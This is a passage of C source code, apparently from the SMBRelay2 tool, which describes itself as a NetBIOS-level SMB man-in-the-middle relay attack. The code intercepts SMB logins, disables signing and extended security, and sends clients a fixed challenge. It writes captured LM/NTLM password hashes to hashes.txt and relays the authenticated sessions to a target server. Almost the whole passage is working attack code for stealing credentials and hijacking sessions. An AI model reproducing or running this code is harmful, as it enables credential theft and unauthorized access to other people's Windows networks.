*)psmbheader + psessionsetupand2->AndXOffset ); pTreeConnectAnd2->Len = TREE_CONNECT_ANDHEADER_LEN; pTreeConnectAnd2->AndXCommand = SMB_NONE; pTreeConnectAnd2->AndXOffset = 0; pTreeConnectAnd2->AndXReserved = 0; pTreeConnectAnd2->Flags = 0; pTreeConnectAnd2->PasswordLen = 1; pTreeConnectAnd2->ByteCount = 32; char *ptr = (char *)(pTreeConnectAnd2 + 1); *ptr = 0; ptr++; WCHAR *wptr = (WCHAR *)ptr; swprintf(wptr, L"\\\\%S\\IPC$", hostname); pTreeConnectAnd2->ByteCount = (wcslen(wptr) + 1) * 2; wptr += wcslen(wptr) + 1; ptr = (char *)wptr; strcpy(ptr, "?????"); pTreeConnectAnd2->ByteCount += 7; inncb.ncb_length = sizeof(SMBHEADER) + psessionsetupand2->Len * 2 + psessionsetupand2->ByteCount + 2 + pTreeConnectAnd2->Len * 2 + pTreeConnectAnd2->ByteCount + 4 ; } break; case SESSION_SETUP_ANDHEADER2EX_LEN: // Win2000 fprintf(stderr, "Security blob len: %d\n", psessionsetupand2ex->SecurityBlobLen); break; default: fprintf(stderr, "Unknown setup header length %d\n", psessionsetupand->Len); break; } break; } } if (g_DebugLevel > 2) fprintf(stderr, "Sending query to target server\n"); NBSend(&outncb, buff, inncb.ncb_length); if (g_DebugLevel > 2) fprintf(stderr, "Receiving response from target server\n"); if (!NBRecv(&outncb, (PUCHAR)buff, sizeof(buff))) { NBHangup(&inncb); return ; } switch (psmbheader->Command) { case SMB_COM_NEGOTIATE: SessionID = pdialectselectheader->UniqueSessionKey; if (pdialectselectheader->EncryptionKeyLen ) { fprintf(stderr, "Challenge (%d bytes): ", pdialectselectheader->EncryptionKeyLen); PrintHexString((BYTE *)(pdialectselectheader + 1), pdialectselectheader->EncryptionKeyLen); memcpy(challenge, pdialectselectheader + 1, 8); fprintf(stderr, "\n"); } if (pdialectselectheader->bSecuritySignaturesRequired ) { fprintf(stderr, "Security signatures required by server *** THIS MAY NOT WORK!\n"); pdialectselectheader->bSecuritySignaturesRequired = 0; } if (pdialectselectheader->bExtendedSecurity) { fprintf(stderr, "Disabling extended security *** THIS MAY NOT WORK!\n"); pdialectselectheader->bExtendedSecurity = 0; } if (pdialectselectheader->bSecuritySignaturesEnabled) { fprintf(stderr, "Disabling security signatures\n"); pdialectselectheader->bSecuritySignaturesEnabled = 0; } // copy negotiation response for relaying later memcpy(negotiateheaders, buff, sizeof(negotiateheaders)); break; case SMB_COM_SESSION_SETUP_ANDX: if (psmbheader->NTError == 0) { if (strlen(username)) bConnected = TRUE; if (psessionsetupandresponse->Action & 1) { fprintf(stderr, "Connected as guest\n"); } if (/* psmbheader->bUnicodeStrings*/TRUE ) { WCHAR *ptr = (WCHAR *)(psessionsetupandresponse + 1); if ((DWORD)ptr % 2) ptr = (WCHAR *)((char *)ptr +1); fprintf(stderr, "OS: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; fprintf(stderr, "Lanman type: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; fprintf(stderr, "Domain: \"%S\"\n", ptr); } else { char *ptr = (char *)(psessionsetupandresponse + 1); fprintf(stderr, "OS: \"%s\"\n", ptr); ptr += strlen(ptr) + 1; fprintf(stderr, "Lanman type: \"%s\"\n", ptr); ptr += strlen(ptr) + 1; fprintf(stderr, "Domain: \"%s\"\n", ptr); ptr += strlen(ptr) + 1; } if (strlen(username)) { memcpy(logonandconnectheaders, buff, sizeof(logonandconnectheaders)); UID = psmbheader->UserID; } } else { fprintf(stderr, "Login failure code: 0x%08X\n", psmbheader->NTError ); } break; } if (!bConnected) { if (g_DebugLevel > 2) fprintf(stderr, "Sending response to target client"); NBSend(&inncb, buff, outncb.ncb_length); } fprintf(stderr, "\n"); } NBHangup(&inncb); FILE *file; file = fopen("hashes.txt", "a"); if (file != NULL) { fprintf(file, "%s\\%s:3:", hostname, username); for (x = 0; x < 8; x++) fprintf(file, "%02X", challenge[x]); fprintf(file, ":"); for (x = 0; x < 24; x++) fprintf(file, "%02X", caseinsensitivepassword[x]); fprintf(file, ":"); for (x = 0; x < 24; x++) fprintf(file, "%02X", casesensitivepassword[x]); fprintf(file, "\n"); fclose(file); fprintf(stderr, "Password hash written to disk\n"); } if (bConnected) { fprintf(stderr, "Connected?\n"); if (!NBAddName(RelayName, &inncb) ) { NBHangup(&outncb); fprintf(stderr, "Unable to add relay name\n"); return ; } while (bConnected && !g_bQuit) { if (!NBListen(&inncb)) { fprintf(stderr, "Error receiving relay connetion\n"); NBHangup(&outncb); return ; } fprintf(stderr, "*** Relay connection for target %s received from ", hostname); PrintNetBIOSName(inncb.ncb_callname); fprintf(stderr, "\n"); bContinue = TRUE; BOOL bLogonDone = FALSE; BOOL bDialectSelected = FALSE; do { BOOL bDoSend = TRUE; // if (g_DebugLevel > 2) // fprintf(stderr, "Receiving request from relay\n"); if (!NBRecv(&inncb, (PUCHAR)buff, sizeof(buff))) { bContinue = FALSE; } if (inncb.ncb_length == 0) bDoSend = FALSE; if (bContinue && bDoSend) { if (psmbheader->MagicVal != SMBMAGICVAL ) { if (g_DebugLevel > 0) fprintf(stderr, "Non SMB message, magicval: %08x length %d bytes target %s\n", psmbheader->MagicVal, inncb.ncb_length, hostname); } else { if (g_DebugLevel > 0) fprintf(stderr, "%s\n", GetCommandType(psmbheader->Command)); } switch (psmbheader->Command) { case SMB_COM_LOGOFF_ANDX: fprintf(stderr, " *** Logoff from target %s\n", hostname); bDoSend = FALSE; bContinue = FALSE; break; case SMB_COM_NEGOTIATE: if (!bDialectSelected) { char *ptr = (char *)(psmbheader + 1) + 3; int selecteddialect = 0; x = 0; bDialectSelected = TRUE; while (selecteddialect == 0 && ptr < buff + inncb.ncb_length) { if (g_DebugLevel > 0) fprintf(stderr, "%d - Dialect %d - %s\n", x, *ptr, ptr+1); x++; ptr += strlen(ptr+1) + 2; // locate dialect of choice if (strcmp(ptr+1, LANMANDIALECT_NTLM012) == 0) selecteddialect = x; } memcpy(buff, negotiateheaders, sizeof(negotiateheaders)); pdialectselectheader->Len = SMBDIALECTSELECTHEADER_LEN; pdialectselectheader->DialectIndex = selecteddialect; ptr = (char *)(pdialectselectheader + 1); // put encryption key here memcpy(ptr, "!!!!!!!!", 8); ptr += SMBENCRYPTIONKEYLEN ; if (/*psmbheader->bUnicodeStrings*/TRUE) { swprintf((WCHAR *)ptr, L"%S", SERVERDOMAINNAME); pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + (strlen(SERVERDOMAINNAME) + 1) * 2; } else { strcpy(ptr, SERVERDOMAINNAME); pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + strlen(SERVERDOMAINNAME) + 1; } inncb.ncb_length = sizeof(SMBHEADER) + sizeof(SMBDIALECTSELECTHEADER) + pdialectselectheader->ByteCount ; fprintf(stderr, " *** Sent dialect selection response (%d) for target %s\n", selecteddialect, hostname ); NBSend(&inncb, buff, inncb.ncb_length); bDoSend = FALSE; } break; case SMB_COM_SESSION_SETUP_ANDX: if ( !bLogonDone ) { bLogonDone = TRUE; WORD MID = psmbheader->MultiplexID; WORD AndXCommand = psessionsetupand->AndXCommand ; memcpy(buff, logonandconnectheaders, sizeof(logonandconnectheaders) ); psmbheader->MultiplexID = MID; psmbheader->UserID = UID ; outncb.ncb_length = sizeof(SMBHEADER) + psessionsetupandresponse->Len * 2 + psessionsetupandresponse->ByteCount + 2; // truncate it if necessary if (AndXCommand == SMB_NONE) { psessionsetupandresponse->AndXCommand = SMB_NONE; psessionsetupandresponse->AndXOffset = 0; } else { PTREE_CONNECT_ANDRESPONSEHEADER ptreeconnectand = (PTREE_CONNECT_ANDRESPONSEHEADER)( (char *)psmbheader + psessionsetupandresponse->AndXOffset ); ptreeconnectand->Len = TREE_CONNECT_ANDRESPONSEHEADER_LEN; ptreeconnectand->AndXCommand = SMB_NONE; ptreeconnectand->AndXOffset = 0; ptreeconnectand->AndXReserved = 0; ptreeconnectand->OptionalSupport = 0; char *ptr = (char *)(ptreeconnectand + 1); strcpy(ptr, "IPC"); ptreeconnectand->ByteCount = strlen(ptr) + 3; ptr += strlen(ptr) + 1; *ptr = 0; ptr++; *ptr = 0; outncb.ncb_length += ptreeconnectand->Len * 2 + ptreeconnectand->ByteCount + 4; } fprintf(stderr, " *** Sent SMB Session setup response for relay to %s\n", hostname); NBSend(&inncb, buff, inncb.ncb_length); bDoSend = FALSE; } break; } } if (bContinue && bDoSend ) { if (g_DebugLevel > 2) fprintf(stderr, "Sending request to target server\n"); NBSend(&outncb, buff, inncb.ncb_length); } if (bContinue && !g_bQuit) { if (!NBRecv(&outncb, (PUCHAR)buff, sizeof(buff))) { fprintf(stderr, "Error receiving response from target"); bContinue = FALSE; } if (bContinue && !g_bQuit && outncb.ncb_length > 0) { if (g_DebugLevel > 0) fprintf(stderr, "Received %d byte response from target %s\n", outncb.ncb_length , hostname); if (g_DebugLevel > 2) fprintf(stderr, "Sending response to relay client\n"); NBSend(&inncb, buff, outncb.ncb_length); } } Sleep(5); } while (bContinue && !g_bQuit); fprintf(stderr, " *** Relay disconnected from target %s\n", hostname); } } NBHangup(&inncb); NBHangup(&outncb); } int main(int argc, char* argv[]) { NCB inncb; int MaxSessions = 20; int MaxNames = 32; char LocalName[32] = "SERVER "; int x; fprintf(stderr, "SMBRelay2 v.98 - NetBIOS level SMB man-in-the-middle relay attack\n"); for (x = 1; x < argc; x++) { if (argv[x][0] == '/') { switch (toupper(argv[x][1])) { case 'A': if (x > argc - 2) { fprintf(stdout, "Missing argument for %s\n", argv[x]); Usage(); return 0; } x++; g_LanaNum = atoi(argv[x]); break; case 'D': if (x > argc - 2) { fprintf(stdout, "Missing argument for %s\n", argv[x]); Usage(); return 0; } x++; g_DebugLevel = atoi(argv[x]); break; case 'L': if (x > argc - 2) { fprintf(stdout, "Missing argument for %s\n", argv[x]); Usage(); return 0; } x++; ParamToNetBIOSName(LocalName, argv[x]); LocalName[NCBNAMSZ-1] = 0x20; break; case 'R': if (x > argc - 2) { fprintf(stdout, "Missing argument for %s\n", argv[x]); Usage(); return 0; } x++; ParamToNetBIOSName(RelayName, argv[x]); RelayName[NCBNAMSZ-1] = 0x20; break; case 'S': if (x > argc - 2) { fprintf(stdout, "Missing argument for %s\n", argv[x]); Usage(); return 0; } x++; ParamToNetBIOSName(SourceName, argv[x]); break; case 'T': if (x > argc - 2) { fprintf(stdout, "Missing argument for %s\n", argv[x]); Usage(); return 0; } x++; ParamToNetBIOSName(TargetName, argv[x]); TargetName[NCBNAMSZ-1] = 0x20; break; default: fprintf(stdout, "Bad option: \"%s\"\n", argv[x] ); case '?': case 'H': Usage(); return 0; break; } } else { fprintf(stderr, "Bad argument: %s\n", argv[x]); } } if (!NBReset (g_LanaNum, MaxSessions, MaxNames)) return 0; if (!NBAddName(LocalName, &inncb) ) { return 0; } do { if (!NBListen(&inncb)) { fprintf(stderr, "Error listening\n"); return 0; } _beginthread( ConnectionHandlerThread, 0, &inncb ); Sleep(150); } while (TRUE); _getch(); return 0; }